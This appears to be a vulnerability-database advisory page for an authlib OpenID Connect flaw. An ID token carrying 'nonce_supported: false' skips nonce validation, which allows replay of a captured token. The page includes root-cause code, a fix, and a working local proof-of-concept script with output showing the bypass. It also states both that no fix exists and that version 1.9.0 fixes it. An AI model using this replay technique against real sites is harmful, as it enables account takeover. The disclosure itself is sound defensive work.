CVE-2026-114617Medium· 4.2▾ SunlitAuthlib: ID token can disable its own nonce validation via the nonce_supported claim
▾ Sunlit zone — Low / medium · no exploitation signal
impact 23.1 · likelihood 0 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
Stakeholder-Specific Vulnerability Categorization from CISA's ADP record at CVE.org: whether exploitation is observed, whether an attack can be automated, and how much of the system is at stake.
Exploit-prediction probability, daily snapshots since Oct 23.
Disclosure to exploitation, from the record and what we observed since indexing it.
0.2%
4.2 → 6.8
6.8 → 4.2
0.2% → 0.2%
Disclosed via OSV
OpenIDMixin.parse_id_token() reads the nonce_supported claim from the ID token it is validating. When that claim is boolean false, the expected nonce is set to None and nonce validation is skipped for that token.
An ID token that carries this claim is therefore accepted in a session whose nonce does not match. A captured, validly signed ID token belonging to a victim can be replayed into an attacker-controlled session, authenticating the attacker as the victim at the relying party.
The code is identical in authlib/integrations/base_client/sync_openid.py:82-83 and authlib/integrations/base_client/async_openid.py:84-85, so all framework integrations are affected. Fixed versions: none; reproduced on 1.8.0 (commit c529a61a).
Preconditions: the ID token must carry a valid signature and pass iss and aud validation, and the attacker must be able to supply it to parse_id_token(). Authorization code flow is not affected. Implicit and hybrid relying parties, and applications calling parse_id_token() directly, are affected.
authlib/integrations/base_client/sync_openid.py:80-85, in parse_id_token():
claims = claims_cls(token.claims, token.header, claims_options, claims_params)
# https://github.com/authlib/authlib/issues/259
if claims.get("nonce_supported") is False:
claims.params["nonce"] = None
claims.validate(leeway=leeway)
authlib/integrations/base_client/async_openid.py:82-86 contains the same code.
claims is constructed from token.claims, which is the decoded payload of the ID token passed to parse_id_token():
token = jwt.decode(
token["id_token"],
key=key_set,
registry=JWSRegistry(algorithms=alg_values, strict_check_header=False),
)
...
claims = claims_cls(token.claims, token.header, claims_options, claims_params)
claims.get("nonce_supported") therefore resolves against the ID token payload. It is not read from load_server_metadata(), from client configuration, or from any other source under the relying party's control.
IDToken.validate_nonce() at authlib/oidc/core/claims.py:69-83 performs the comparison only when the expected value is truthy:
nonce_value = self.params.get("nonce")
if nonce_value:
if "nonce" not in self:
raise MissingClaimError("nonce")
if nonce_value != self["nonce"]:
raise InvalidClaimError("nonce")
Assigning claims.params["nonce"] = None makes nonce_value falsy, so both the presence check and the equality check are skipped. No error is raised and claims.validate() completes normally.
The docstring of that same method states the requirement:
If present in the ID Token, Clients MUST verify that the nonce Claim Value is equal to the value of the nonce parameter sent in the Authentication Request.
The comparison is is False, so only a JSON boolean false activates the branch. A string value "false" does not, and nonce validation proceeds normally in that case.
The branch was added in commit 3ca7333c ("Skip verifying nonce for Apple case") to accommodate a provider that emits a nonce_supported claim, as referenced by the inline comment pointing to issue #259.
Read the flag from server metadata or client configuration rather than from the token:
metadata = self.load_server_metadata()
if metadata.get("nonce_supported") is False:
claims.params["nonce"] = None
This preserves the behavior for relying parties configured against a provider that does not support nonces, while preventing the token from determining whether it is subject to nonce validation.
c529a61a (tag v1.8.0)git clone https://github.com/authlib/authlib.git && cd authlib
git checkout c529a61a
python3 -m venv .venv
.venv/bin/pip install -e . joserfc==1.7.5
.venv/bin/python poc.py
The relying party is a subclass of the shipped OpenIDMixin supplying only client_id and load_server_metadata(). fetch_jwk_set() returns metadata["jwks"] directly when the key set is present in metadata, so no HTTP request is made and no part of the validation path is stubbed.
The signing key is a generated RSA key. All three tokens are signed with it, carry iss and aud matching the relying party configuration, and are within their validity window. The relying party's session nonce is nonce-the-rp-actually-generated; every token carries the different nonce nonce-from-the-captured-token.
from joserfc import jwt
from joserfc.jwk import RSAKey
from authlib.integrations.base_client.sync_openid import OpenIDMixin
ISSUER = "https://as.example"
CLIENT_ID = "rp-client"
KEY = RSAKey.generate_key(2048, parameters={"kid": "k1"})
JWKS = {"keys": [KEY.as_dict(private=False)]}
class RP(OpenIDMixin):
client_id = CLIENT_ID
def load_server_metadata(self):
return {"issuer": ISSUER, "jwks": JWKS}
def id_token(nonce, sub="victim", nonce_supported=None):
claims = {"iss": ISSUER, "sub": sub, "aud": CLIENT_ID,
"iat": 1000000000, "exp": 4000000000, "auth_time": 1000000000}
if nonce is not None:
claims["nonce"] = nonce
if nonce_supported is not None:
claims["nonce_supported"] = nonce_supported
return jwt.encode({"alg": "RS256", "kid": "k1"}, claims, KEY)
rp = RP()
SESSION_NONCE = "nonce-the-rp-actually-generated"
CAPTURED_NONCE = "nonce-from-the-captured-token"
cases = [
("[1] no nonce_supported claim", None),
("[2] nonce_supported: false", False),
("[3] nonce_supported: \"false\"", "false"),
]
for label, flag in cases:
tok = {"access_token": "AT",
"id_token": id_token(CAPTURED_NONCE, nonce_supported=flag)}
try:
user = rp.parse_id_token(tok, nonce=SESSION_NONCE)
print(f"{label:34s} -> ACCEPTED sub={user['sub']}")
except Exception as e:
print(f"{label:34s} -> REJECTED {type(e).__name__}: {e}")
All three cases carry a nonce that does not match the relying party's session nonce, so all three should be rejected.
[1] no nonce_supported claim -> REJECTED InvalidClaimError: invalid_claim: Invalid claim: 'nonce'
[2] nonce_supported: false -> ACCEPTED sub=victim
[3] nonce_supported: "false" -> REJECTED InvalidClaimError: invalid_claim: Invalid claim: 'nonce'
Case [1] shows nonce validation rejecting a mismatched nonce under normal conditions. Case [2] differs from case [1] only by the addition of the nonce_supported claim and is accepted, returning the subject of the replayed token. Case [3] confirms the branch requires a JSON boolean.
The script exits 0 and produces identical output across three runs.
Reliance on an untrusted input in a security decision (CWE-807), resulting in authentication bypass by capture-replay (CWE-294).
The nonce binds an ID token to the browser session that requested it and is the control that prevents a token issued for one session being presented in another. Because the flag that governs this check is read from the token itself, the check can be disabled by the data it is applied to.
OpenID Connect relying parties built on authlib's client integrations where an attacker can supply an ID token to parse_id_token():
parse_id_token() directly on externally supplied input.Both the synchronous and asynchronous integrations are affected, so Flask, Django and Starlette deployments are equally exposed.
Relying parties using plain authorization code flow are not impacted, as the ID token is retrieved from the token endpoint over TLS following a state lookup and cannot be substituted by an attacker.
An attacker in possession of a victim's ID token replays it into their own session. Nonce validation is skipped, parse_id_token() returns a UserInfo for the victim's subject, and the relying party establishes an authenticated session as the victim. This grants access to the victim's account at that relying party, including any data and actions available through it.
The token must carry a valid signature and pass iss and aud validation, so the vulnerability does not permit forging tokens or authenticating as an arbitrary subject. It removes the replay protection from a genuine token that has been captured, for example from browser history, a Referer header, proxy or server logs, or a shared device.
None. The check is performed inside parse_id_token(), and no parameter or configuration option is exposed to disable the behaviour or to override the nonce handling.
authlib < 1.9.0Upgrade to a patched release:
authlib 1.9.0Field changes observed since this record was first indexed.
Connected by shared product, vendor, weakness, or advisory.
CVE-2026-114620Medium· 5.4Authlib: Unvalidated request_uri fetch in JWT-secured authorization request (JAR) leading to SSRF
CVE-2026-114619Medium· 4.6Authlib: OpenID implicit grant checks raw scope instead of allowed scope before issuing ID tokens
CVE-2026-96760Critical· 9.8Authlib (v1.7.2 and below) contains a signature verification bypass vulnerability
CVE-2026-114618Medium· 6.8Authlib: Default JWT bearer grant accepts assertions for the wrong audience
CVE-2026-114615High· 7.4Authlib incomplete algorithm-confusion fix permits HMAC forgery with prefixed public keys
CVE-2026-28802Critical· 9.8Authlib is a Python library which builds OAuth and OpenID Connect servers